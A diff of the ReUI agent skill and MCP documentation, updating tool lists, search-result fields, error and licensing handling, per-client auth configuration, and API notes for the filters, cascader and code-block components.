- **`get_thumbnail`** - when the choice is VISUAL and the ranking has not already made it: 2 or more candidates within about 15 score points. When the top hit leads by a wide margin, or `missedTerms` already rules the others out, skip it; an image costs roughly 10 times a result row. It returns the hosted preview image as image content so you can look yourself; pass up to 4 names in one call to compare `compose_page` alternates side by side before installing any of them. To let the USER see something, share the item's `thumbnail` and `previewUrl` instead - this tool is for your own eyes, and a client that cannot render images gets the URLs in the text block.
|
||||||
- **`report_issue`** - when an installed item is actually broken (bad source, wrong dependency, broken preview). Goes straight to the ReUI team; rate-limited 5/hour. Not for usage questions.
|
- **`get_agent_skill`** - when the agent has no local ReUI skill (a cloud or tools-only client), or to check whether the installed one is stale: it returns the current workflow inline plus the installer command, and its `version` can be compared with the version stamped at the top of your local `SKILL.md`.
|
||||||
|
|
||||||
## All 19 tools
|
## All 19 tools
|
||||||
|
|
||||||
`search`, `get_block`, `get_example`, `get_icon`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `whats_new`, `report_issue`, `get_install_command`, `get_project_context`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
`search`, `get_block`, `get_example`, `get_icon`, `get_thumbnail`, `list_block_groups`, `list_block_categories`, `list_example_categories`, `list_icon_categories`, `list_components`, `get_component`, `get_examples`, `search_icons`, `compose_page`, `validate_usage`, `get_install_command`, `get_project_context`, `get_agent_skill`, `get_audit_checklist`. The MCP serves the full parameter schemas; do not guess parameters beyond them.
|
||||||
|
|
||||||
## Token + speed rules
|
## Token + speed rules
|
||||||
|
|
||||||
@@ -41,18 +41,24 @@ If you already know the exact item name, skip `search`. Everything else is situa
|
|||||||
- `termCoverage` (0-1) is the share of the query the item matched - low means a weak match even if the score looks high; rephrase or widen the search.
|
- `termCoverage` (0-1) is the share of the query the item matched - low means a weak match even if the score looks high; rephrase or widen the search.
|
||||||
- Each result carries `whyMatch`, `install`, docs/preview URLs, and a `free` flag; premium items carry `requiredPlan` (`"pro"` for blocks, `"ultimate"` for icons).
|
- Each result carries `whyMatch`, `install`, docs/preview URLs, and a `free` flag; premium items carry `requiredPlan` (`"pro"` for blocks, `"ultimate"` for icons).
|
||||||
- `componentDigests` is a top-level map: a compact API contract per referenced component - often enough to wire an item without a `get_component` call.
|
- `componentDigests` is a top-level map: a compact API contract per referenced component - often enough to wire an item without a `get_component` call.
|
||||||
|
- An inline `api` is not always the whole API: a very large one is trimmed on heading boundaries to fit your context, and the response names every dropped heading in `sectionsOmitted` plus a `next` hint for re-reading one. Never treat a trimmed capsule as complete; `validate_usage` still checks the FULL API.
|
||||||
- Icon results and `get_icon` include `animated: true` and `installAnimated` when a hover-animated Motion variant exists (animated: `@reui/icons/animated/<style>/<name>`; static: `@reui/icons/default/<style>/<name>`).
|
- Icon results and `get_icon` include `animated: true` and `installAnimated` when a hover-animated Motion variant exists (animated: `@reui/icons/animated/<style>/<name>`; static: `@reui/icons/default/<style>/<name>`).
|
||||||
|
- Blocks and `c-*` examples carry `thumbnail`, an absolute URL to a hosted preview image (3:2; blocks 1080x720, examples 900x600, light theme). Show the top 2 or 3 as markdown images linked to `previewUrl` so the user picks by eye; use `get_thumbnail` when YOU need to see them. Components and icons have no thumbnail.
|
||||||
|
- Each result carries `missedTerms`, the words from YOUR query it does not mention (omitted when it matches them all). A high score with 3 missed words is a near miss wearing a good score: read this before `get_thumbnail`, it is far cheaper.
|
||||||
|
- `weakMatch: true` means the top result misses more of the query's words than it matches; `unmatchedTerms` lists the words none of the top results mention and `weakMatchNote` says what to do. Stop and re-search with the registry's own words, or compose from components, instead of installing the top hit.
|
||||||
|
- On a free account `premiumPicks` (a sibling of `results`, never inside it) lists up to 3 premium blocks that fit the query more closely than the free answer, as previews with no install command, plus `unlock` with the plan and a pricing link. Mention the upgrade at most once per conversation, then keep building with what the plan covers. `weakMatch` and `premiumPicks` can appear together: the free answer is weak AND a premium block fits; `weakMatchNote` says so.
|
||||||
|
- Results are scoped to the caller's plan, so a free account never sees a block or icon it could not install. When a search matches only hidden premium items, the answer says so (`locked`, `requiredPlan`, `premiumMatches`) instead of pretending the registry is empty.
|
||||||
|
|
||||||
## Error playbook
|
## Error playbook
|
||||||
|
|
||||||
- **401** - the MCP requires a signed-in ReUI account. The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp) as `Authorization: Bearer`.
|
- **401** - the MCP requires a signed-in ReUI account, on every request (there is no anonymous access). The client prompts "Sign in with ReUI" (OAuth) on first use; a free account is created if needed. For headless/CI, pass a personal token (`reui_pat_...`, created at https://reui.io/account/mcp?ref=skill) as `Authorization: Bearer`.
|
||||||
- **403 / locked result** - a valid account but the plan does not cover the item: premium blocks need Pro, Motion Icons need Ultimate. Point to https://reui.io/pricing (upgrade). Free accounts still get all components + examples.
|
- **locked result** - a valid account whose plan does not cover the item. This is NOT an error and NOT a 403: it comes back as a normal HTTP 200 result carrying `locked: true` and `requiredPlan` (`"pro"` for premium blocks, `"ultimate"` for Motion Icons). Keep working with the free components and `c-*` examples, and point the user at https://reui.io/pricing?ref=skill if they want the locked item.
|
||||||
- **429** - rate limited (120 requests/min per IP); back off, honor `Retry-After`.
|
- **daily allowance reached** - a free account has a per-account, per-UTC-day allowance on tool calls (ReUI sets the number and can change it, so read it from the message and never assume one). It comes back as a normal tool RESULT with `isError: true` at HTTP 200: not an HTTP error status, no back-off header to honor, and no per-minute limit to wait out. Retrying the same call just spends the next unit, so surface the message (it carries the reset and the upgrade link) to the user instead of looping. The count resets at UTC midnight, and using a Pro or Ultimate license as the MCP credential removes the limit.
|
||||||
- **not found** (`found: false`) - use the returned `suggestions`, or `search`; check `whats_new` if you suspect a stale name. Never run a fabricated install command.
|
- **not found** (`found: false`) - use the returned `suggestions`, or `search`. Never run a fabricated install command.
|
||||||
|
|
||||||
## Fallbacks
|
## Fallbacks
|
||||||
|
|
||||||
- No ReUI MCP: `npx shadcn@latest search @reui -q "..."` then `add` (generic, no scoring / inline API).
|
- No ReUI MCP: `npx shadcn@latest search @reui -q "..."` then `add` (generic, no scoring / inline API).
|
||||||
- The shadcn project's own MCP also works over the `@reui` registry: https://ui.shadcn.com/docs/mcp.
|
- The shadcn project's own MCP also works over the `@reui` registry: https://ui.shadcn.com/docs/mcp.
|
||||||
|
|
||||||
Per-agent MCP setup: https://reui.io/docs/mcp
|
Per-agent MCP setup: https://reui.io/docs/mcp?ref=skill
|
||||||
|
|||||||
@@ -1,19 +1,20 @@
|
|||||||
---
|
---
|
||||||
name: reui
|
name: reui
|
||||||
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 20 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
description: Use the ReUI registry from your AI agent - find, install, and correctly use ReUI components (the 22 free building blocks like data-grid, kanban, filters), their free examples, premium blocks, and Motion Icons. Applies in any project using ReUI, the @reui registry, REUI_LICENSE_KEY, or any shadcn project where the user asks for premium blocks, data grids, kanban boards, dashboards, or full pages. Pairs with the free ReUI MCP server for live, scored registry search and inline component APIs.
|
||||||
user-invocable: false
|
|
||||||
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
allowed-tools: Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
|
||||||
|
metadata:
|
||||||
|
user-invocable: "false"
|
||||||
---
|
---
|
||||||
|
|
||||||
> **ReUI skill version `668fb463eb`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
> **ReUI skill version `d9f4a302f4`.** If the ReUI MCP's `get_agent_skill` reports a newer `version`, re-run the ReUI installer (see `get_agent_skill` -> `install.recommended`) to update this skill. Cloud/tools-only agents have no local file and always read the latest - they can ignore this.
|
||||||
|
|
||||||
# ReUI for Agents
|
# ReUI for Agents
|
||||||
|
|
||||||
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
ReUI is a shadcn-compatible registry. It ships four things you **reuse** - never redesign:
|
||||||
|
|
||||||
- **components** - the 20 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
- **components** - the 22 ReUI building blocks with real APIs: `data-grid`, `kanban`, `filters`, `date-selector`, `tree`, `stepper`, ... (free)
|
||||||
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
- **examples** - free `c-*` single-pattern use-cases of a component (`c-kanban-1`); install one and read it to see exact composition
|
||||||
- **blocks** - premium full-page sections that compose components (`data-grid-2`, `pricing-page-1`); Pro or Ultimate license at install
|
- **blocks** - premium full-page sections that compose components (`data-grid-base-2`, `settings-2`); Pro or Ultimate license at install
|
||||||
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
- **icons** - Motion Icons in 4 styles, static + hover-animated variants; Ultimate license at install
|
||||||
|
|
||||||
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
The skill is free and this MCP is free to use; it just needs a ReUI account. On first use your agent opens a browser "Sign in with ReUI" prompt (a free account is created if you don't have one). Free covers components and examples with a daily request allowance; a Pro or Ultimate license unlocks premium blocks and Motion Icons and removes the limit (see [rules/registry.md](./rules/registry.md)). The same account and skill work in every agent and service the MCP connects to - this skill is agent-agnostic.
|
||||||
@@ -58,7 +59,7 @@ Invocation differs slightly per agent (`/mcp__reui__build` in Claude Code/Cursor
|
|||||||
|
|
||||||
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
- [rules/registry.md](./rules/registry.md) - the four types, the @reui registry, base/radix, free vs premium + license
|
||||||
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
- [rules/workflow.md](./rules/workflow.md) - the find -> install -> read-API -> adapt loop (most important)
|
||||||
- [rules/components.md](./rules/components.md) - the 20 components, the data-grid contract, base vs radix
|
- [rules/components.md](./rules/components.md) - the 22 components, the data-grid contract, base vs radix
|
||||||
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
- [rules/adapting.md](./rules/adapting.md) - reuse-first: preserve the design (no over-customizing), reuse examples + a block's own elements, real data, don't invent APIs
|
||||||
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
- [rules/craft.md](./rules/craft.md) - make it exceptional: point of view, hierarchy, density, states, responsive, motion, the bar
|
||||||
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
- [rules/quality.md](./rules/quality.md) - security, accessibility, and scroll gates (the done gate)
|
||||||
|
|||||||
@@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
## Registry setup (one-time, per project)
|
## Registry setup (one-time, per project)
|
||||||
|
|
||||||
Free items (the 20 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
Free items (the 22 components and all `c-*` examples) need only the plain string registry in `components.json`:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
|
{ "registries": { "@reui": "https://reui.io/r/{style}/{name}.json" } }
|
||||||
@@ -29,9 +29,16 @@ REUI_LICENSE_KEY=your-license-key
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`, but an MCP client config never expands variables, so a ReUI MCP server config must carry the raw token instead (for example `reui_pat_your_token_here`).
|
The shadcn CLI expands `${REUI_LICENSE_KEY}` from `.env.local` inside `components.json`. MCP client configs expand environment variables too, but each client has its OWN syntax, so wire the ReUI MCP server with the form that client understands:
|
||||||
|
|
||||||
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry
|
- Claude Code (`.mcp.json`, `~/.claude.json`): `"Authorization": "Bearer ${REUI_LICENSE_KEY}"`
|
||||||
|
- Cursor (`.cursor/mcp.json`) and VS Code: `"Authorization": "Bearer ${env:REUI_LICENSE_KEY}"`
|
||||||
|
- OpenCode (`opencode.json`): `"Authorization": "Bearer {env:REUI_LICENSE_KEY}"`
|
||||||
|
- Codex (`~/.codex/config.toml`): `bearer_token_env_var = "REUI_LICENSE_KEY"` - Codex reads the variable itself, so there is no header to write
|
||||||
|
|
||||||
|
Only a client with no interpolation at all needs the raw `reui_pat_...` token, and then only in a file that is never committed. Copying the `components.json` form into a client that does not expand it is the common failure: the literal `${REUI_LICENSE_KEY}` placeholder is sent to the server as the credential and every call comes back 401.
|
||||||
|
|
||||||
|
The MCP `get_project_context` tool returns the right config. Full guide: https://reui.io/docs/registry?ref=skill
|
||||||
|
|
||||||
## Installing
|
## Installing
|
||||||
|
|
||||||
@@ -54,7 +61,7 @@ bunx --bun shadcn@latest add @reui/<name> --yes # bun
|
|||||||
|
|
||||||
## Free vs premium boundary
|
## Free vs premium boundary
|
||||||
|
|
||||||
- Public, no key: `c-*` examples and the 20 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
- Public, no key: `c-*` examples and the 22 components (`@reui/data-grid`, `@reui/badge`, ...) that those examples depend on.
|
||||||
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
|
- Key required at install: blocks (`@reui/<category>-N`) need a Pro or Ultimate license; Motion Icons (`@reui/icons/...`) and templates need Ultimate.
|
||||||
|
|
||||||
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account (their key) or https://reui.io/pricing (upgrade).
|
If an install 401/403s, the license key is missing, invalid, or the plan does not cover that resource (blocks: Pro or higher; icons and templates: Ultimate). Point the user to https://reui.io/account?ref=skill (their key) or https://reui.io/pricing?ref=skill (upgrade).
|
||||||
|
|||||||
@@ -1,8 +1,8 @@
|
|||||||
# ReUI components
|
# ReUI components
|
||||||
|
|
||||||
The 20 ReUI building blocks: `alert`, `autocomplete`, `badge`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
The 22 ReUI building blocks: `alert`, `autocomplete`, `badge`, `cascader`, `code-block`, `data-grid`, `date-selector`, `event-calendar`, `filters`, `frame`, `gantt`, `icon-stack`, `icon-tile`, `kanban`, `number-field`, `phone-input`, `rating`, `scrollspy`, `sortable`, `stepper`, `timeline`, `tree`. Examples and blocks are composed from these.
|
||||||
|
|
||||||
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the full reference. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
**Rule one: never guess a component's API. Read it first.** Call **`get_component(name)`** for its inline `api` (props + usage, no web fetch), and **share the result's `docsUrl`** (the component's API documentation page) with the user whenever you work with that component's API, so they have the full reference (the `/llms.txt` index is a further fallback). Then call **`get_examples(name)`** to install a worked example and copy real composition. The contracts below are first-try orientation (required props, composition shape, the one gotcha); the inline `api` is the deeper reference. Do not assume you received all of it: a very large API (`cascader`, `filters`, `data-grid`) is trimmed on heading boundaries to fit your context, and every dropped heading is named in `sectionsOmitted`, so a trimmed capsule is a partial read - follow the response's own `next` hint to pull back the part you need instead of guessing at it. `validate_usage` always checks the FULL API, trimmed capsule or not. No single block fits? Compose: search the components you need, read each `get_component`, install a `get_examples` example per component, and adapt.
|
||||||
|
|
||||||
## data-grid (the flagship - read its API every time)
|
## data-grid (the flagship - read its API every time)
|
||||||
|
|
||||||
@@ -106,22 +106,60 @@ Common mistakes:
|
|||||||
|
|
||||||
## filters
|
## filters
|
||||||
|
|
||||||
**Required:** `filters` (`Filter[]`), `fields` (`FilterFieldConfig[]`), `onChange`
|
**Required:** `fields` (`FilterField[]`). The value is ONE `FilterQuery` tree - `query` + `onQueryChange`, or uncontrolled `defaultQuery`.
|
||||||
**Shape:**
|
**Shape:**
|
||||||
|
|
||||||
```tsx
|
```tsx
|
||||||
const [filters, setFilters] = useState<Filter[]>([
|
const fields: FilterField[] = [
|
||||||
createFilter("priority", "is_any_of", ["low"]),
|
{ id: "title", label: "Title", type: "text" },
|
||||||
])
|
{
|
||||||
const fields: FilterFieldConfig[] = [
|
id: "status",
|
||||||
{ key: "priority", label: "Priority", type: "multiselect",
|
label: "Status",
|
||||||
options: [{ value: "low", label: "Low" }, { value: "high", label: "High" }] },
|
type: "select",
|
||||||
|
options: [
|
||||||
|
{ value: "active", label: "Active" },
|
||||||
|
{ value: "archived", label: "Archived" },
|
||||||
|
],
|
||||||
|
},
|
||||||
]
|
]
|
||||||
|
const [query, setQuery] = useState<FilterQuery>(() => createFilterQuery())
|
||||||
|
|
||||||
<Filters filters={filters} fields={fields} onChange={setFilters} />
|
<Filters fields={fields} query={query} onQueryChange={setQuery} />
|
||||||
```
|
```
|
||||||
|
|
||||||
**Gotcha:** always build initial filters with `createFilter(field, operator, values)` - it generates the required `id`. Never hand-construct a `Filter` object. Pairs naturally with `data-grid`.
|
**Gotcha:** the state is a TREE, not a list of chips. `FilterQuery` is a group of rules joined by `and`/`or` and a group may hold another group, so `(A and B) or C` is expressible; a rule is `{ id, type: "rule", path: ["status"], operator, value }` and `path` is the whole nested attribute path, root first. The pre-rewrite API is GONE: there is no `filters`/`onChange` prop, no `FilterFieldConfig` (fields are `FilterField`, nested through their own `fields`, keyed `id` not `key`), and no `createFilter()` - it minted ids inside a pure function and broke hydration, so ids now come from `createFilterIdFactory(seed)` seeded off `useId`, and `createFilterQuery()` / `createFilterRule()` take one. Read the query back with `flattenFilterConditions` (`{ path, field, operator, values, negated }` per rule, incomplete rules skipped) and walk the tree yourself when the parentheses carry meaning - the primitive compiles nothing, no SQL, no query string.
|
||||||
|
|
||||||
|
`variant` picks the chrome over that one query: `"basic"`, the default, is the flat chip row for a toolbar over a table; `"advanced"` is the condition builder, hung off a trigger or rendered in place with `advancedMode="inline"`. Both read and write the same tree, so a saved view built in one opens in the other. Other props worth knowing before you hand-roll them: `size` is two rungs, `"sm" | "default"`, resolved per style (there is no `lg`); `reorderable` turns on drag and Alt+Arrow row moves in the builder; `onBeforeQueryChange` is the ONE veto point for every write (return `false` to refuse, it cannot rewrite); `editors` registers custom value editors a field selects by `editor` name; `labels` / `operatorLabels` own every rendered string; `pathCollapse` + `maxPathSegments` shorten deep attribute paths; `renderChip` / `renderValue` / `renderEmpty` replace rendered parts. On a field, `loadOptions` supplies async options with paging and `resolveValues` renders a chip restored from a saved view whose option was never loaded. Pairs naturally with `data-grid`.
|
||||||
|
|
||||||
|
## cascader
|
||||||
|
|
||||||
|
**Required:** `items` (a tree of `{ value, label, children? }`), plus the panel parts inside `CascaderContent`.
|
||||||
|
**Shape:**
|
||||||
|
|
||||||
|
```tsx
|
||||||
|
<Cascader items={items} value={value} onValueChange={setValue}>
|
||||||
|
<CascaderTrigger render={<Button variant="outline" />}>
|
||||||
|
<CascaderValue placeholder="Select an attribute" />
|
||||||
|
</CascaderTrigger>
|
||||||
|
<CascaderContent className="w-80">
|
||||||
|
<CascaderPanel>
|
||||||
|
<CascaderNav>
|
||||||
|
<CascaderBreadcrumb />
|
||||||
|
<CascaderInput />
|
||||||
|
</CascaderNav>
|
||||||
|
<CascaderEmpty />
|
||||||
|
<CascaderList maxHeight={288}>
|
||||||
|
<CascaderItems />
|
||||||
|
</CascaderList>
|
||||||
|
<CascaderStatus />
|
||||||
|
</CascaderPanel>
|
||||||
|
</CascaderContent>
|
||||||
|
</Cascader>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Gotcha:** pressing a branch NAVIGATES, it does not select - only leaves are selectable until you pass `selectable="any"` or a predicate, and once a branch is selectable its chevron becomes the only way to open it. `CascaderInput` must stay inside `CascaderContent` (Base UI refills the query from the selection when the input sits outside the popup). Always include `CascaderStatus`: it is the live region announcing level changes, which the visual breadcrumb does not provide to screen readers. Accepts a flat adjacency list via `getParent` as well as nested `children`. `searchScope="deep"` searches every level and annotates results with their path; `multiple` gives checkbox rows; `inline` + a bare `CascaderPanel` embeds it with no popover.
|
||||||
|
|
||||||
|
The shape above is `mode="drill"`, the default. `mode="tree"` keeps the same parts (drop `CascaderBreadcrumb`, pass `showBack={false}`, drive expansion with `expanded`/`onExpandedChange`); `mode="columns"` REPLACES `CascaderList` + `CascaderItems` with a single `CascaderColumns`, and has no breadcrumb. Other props worth knowing before you hand-roll them: `cascade` (multi-select only, parent/child selection with indeterminate branches - pair it with `selectable="any"`, since a leaf-only tree can never cascade), `indicator={false}` to drop the single-select check and its gutter (visual only, no-op with `multiple`), `virtualize`/`virtualizeThreshold` plus `CascaderVirtualItems` for long levels, and `getChildren` for async levels with cursor paging, retry on failure and optional `prefetch`. `CascaderFooter` pins commands below the list (`actions` is the quick path) and `CascaderSubmenu` opens one as a side-anchored flyout with the full menu keyboard model. To head a run of rows use `CascaderGroup` wrapping a `CascaderLabel` - a bare label inside a listbox names nothing and is dropped from the accessibility tree - and `CascaderSeparator` for the rule between runs. Every rendered string comes from `labels`, and the panel is RTL-correct under a `DirectionProvider` or `dir="rtl"`.
|
||||||
|
|
||||||
## date-selector
|
## date-selector
|
||||||
|
|
||||||
@@ -324,6 +362,26 @@ const [value, setValue] = useState<DateSelectorValue | undefined>()
|
|||||||
|
|
||||||
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
|
**Gotcha:** the square container an icon sits in, so every list row, feature card and empty state shares one affordance. `variant`: `outline` (default) | `elevated` (muted fill, raised ring) | `soft` (tinted nested, tone from currentColor) | `solid` (filled tone, contrasting glyph) | `frame` (double container). `soft` and `solid` retint from one text color class (they default to `text-primary`). `size`: `xs | sm | default | lg | xl` (24/32/40/48/64px tile, glyph scales 12/14/16/20/24px). `radius`: `default | full`. Do not set a `size-*` class on the child icon unless you mean to override the tile's glyph size; recolor with `className` on the tile, not the icon.
|
||||||
|
|
||||||
|
## code-block
|
||||||
|
|
||||||
|
**Required:** `code` + `language`, or pre-highlighted `lines`.
|
||||||
|
**Shape:**
|
||||||
|
|
||||||
|
```tsx
|
||||||
|
<CodeBlock code={code} language="tsx" />
|
||||||
|
|
||||||
|
<CodeBlock code={code} language="tsx" showLineNumbers maxLines={20}>
|
||||||
|
<CodeBlockHeader>
|
||||||
|
<CodeBlockTitle>use-totals.ts</CodeBlockTitle>
|
||||||
|
<CodeBlockLanguage />
|
||||||
|
<CodeBlockCopyButton className="ml-auto" />
|
||||||
|
</CodeBlockHeader>
|
||||||
|
<CodeBlockExpandButton />
|
||||||
|
</CodeBlock>
|
||||||
|
```
|
||||||
|
|
||||||
|
**Gotcha:** the one-liner is already a complete block; every child (header, title, language label, copy button, wrap toggle, expand button, line actions) is optional chrome, at any depth. Shiki is the only npm dependency and loads lazily, one chunk per language, on first highlight; `lines` (from `highlightCode` in `code-block-highlight`, which is server-safe and has no `"use client"`) or `highlight={false}` loads nothing at all. `maxLines` caps the height AND marks the block collapsible, which is what makes `CodeBlockExpandButton` appear. Use `variant="ghost"` when the block sits inside a surface that already has a border.
|
||||||
|
|
||||||
## alert
|
## alert
|
||||||
|
|
||||||
**Required:** `Alert` > `AlertTitle`
|
**Required:** `Alert` > `AlertTitle`
|
||||||
|
|||||||
@@ -27,7 +27,7 @@ npx shadcn@latest add @reui/icons/default/<style>/<name> --yes # static
|
|||||||
npx shadcn@latest add @reui/icons/animated/<style>/<name> --yes # hover-animated (motion/react)
|
npx shadcn@latest add @reui/icons/animated/<style>/<name> --yes # hover-animated (motion/react)
|
||||||
```
|
```
|
||||||
|
|
||||||
Finding them via the MCP is free; installing requires an Ultimate license (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
Motion Icons need an Ultimate license for **both discovery and install** (`REUI_LICENSE_KEY`, see [cli.md](./cli.md)). Without it `search_icons` comes back `locked` with no results and `search` returns no icons at all, so check the plan before you promise the user icons: on a free or Pro account, use the project's own `iconLibrary` instead. Reach for a Motion Icon on a primary action when a subtle hover cue helps; keep motion restrained.
|
||||||
|
|
||||||
Finding icons:
|
Finding icons:
|
||||||
|
|
||||||
|
|||||||
@@ -2,9 +2,9 @@
|
|||||||
|
|
||||||
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
|
ReUI is a shadcn-compatible registry with four entity types. **Examples and blocks are built FROM components** - reuse them, don't rebuild.
|
||||||
|
|
||||||
- **component** - one of the 20 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
- **component** - one of the 22 ReUI building blocks with a real API (`data-grid`, `kanban`, `filters`, `date-selector`, `tree`, ...). Install directly (`@reui/data-grid`) or let it come in as a dependency of an example/block. Free. Read its API with `get_component(name)`.
|
||||||
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
|
- **example** - a free `c-*` single-pattern use-case of a component (`c-kanban-1`, `c-data-grid-3`). Install one and read it to copy real composition. Find a component's examples with `get_examples(name)`.
|
||||||
- **block** - a premium, full-page section that composes several components (`data-grid-2`, `pricing-page-1`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
- **block** - a premium, full-page section that composes several components (`data-grid-base-2`, `settings-2`). Pro or Ultimate license at install. Adapts to your active theme via semantic tokens.
|
||||||
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
|
- **icon** - Motion Icons in 4 styles (outline, solid, duotone, filled), static (`@reui/icons/default/<style>/<name>`) and hover-animated (`@reui/icons/animated/<style>/<name>`). Ultimate license at install. See [icons.md](./icons.md).
|
||||||
|
|
||||||
## The @reui registry
|
## The @reui registry
|
||||||
@@ -27,7 +27,7 @@ Blocks adapt to your active theme through semantic tokens and CSS variables - ch
|
|||||||
|
|
||||||
## Free vs premium
|
## Free vs premium
|
||||||
|
|
||||||
- **Free, no key:** the 20 components, all `c-*` examples, the ReUI MCP, and this skill.
|
- **Free, no license key:** the 22 components, all `c-*` examples, and this skill. The MCP is free too but still needs a free ReUI account (the agent signs in on first use); a license key is only for premium installs.
|
||||||
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
|
- **Premium, license required at install:** blocks (Pro or Ultimate), Motion Icons and templates (Ultimate). Set `REUI_LICENSE_KEY` (see [cli.md](./cli.md)).
|
||||||
|
|
||||||
## Component API index
|
## Component API index
|
||||||
|
|||||||
@@ -4,11 +4,11 @@ The core ReUI loop. The MCP tells you what to install and gives you the API; the
|
|||||||
|
|
||||||
## 1. Find (ReUI MCP `search` / `compose_page`)
|
## 1. Find (ReUI MCP `search` / `compose_page`)
|
||||||
|
|
||||||
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
**Full multi-section page ask?** Call `compose_page(intent, sections?)` FIRST, before searching block-by-block. It returns ordered sections, each with the best block for the intent (top pick + alternates); on a free account it answers `mode: "free"` and fills the same sections with free `c-*` examples instead, so the plan is always buildable. Sections listed in `unavailableSections` have no real inventory - compose those from components, do not force a bad block.
|
||||||
|
|
||||||
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
|
For everything else, call `search` with the user's intent. Pass structured hints whenever you can infer them - you are an LLM, so do the parsing the server cannot:
|
||||||
|
|
||||||
- `type`: `"component"` (one of the 20 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
- `type`: `"component"` (one of the 22 building blocks), `"example"` (a c-\* use-case), `"block"` (a full page/section), `"icon"`.
|
||||||
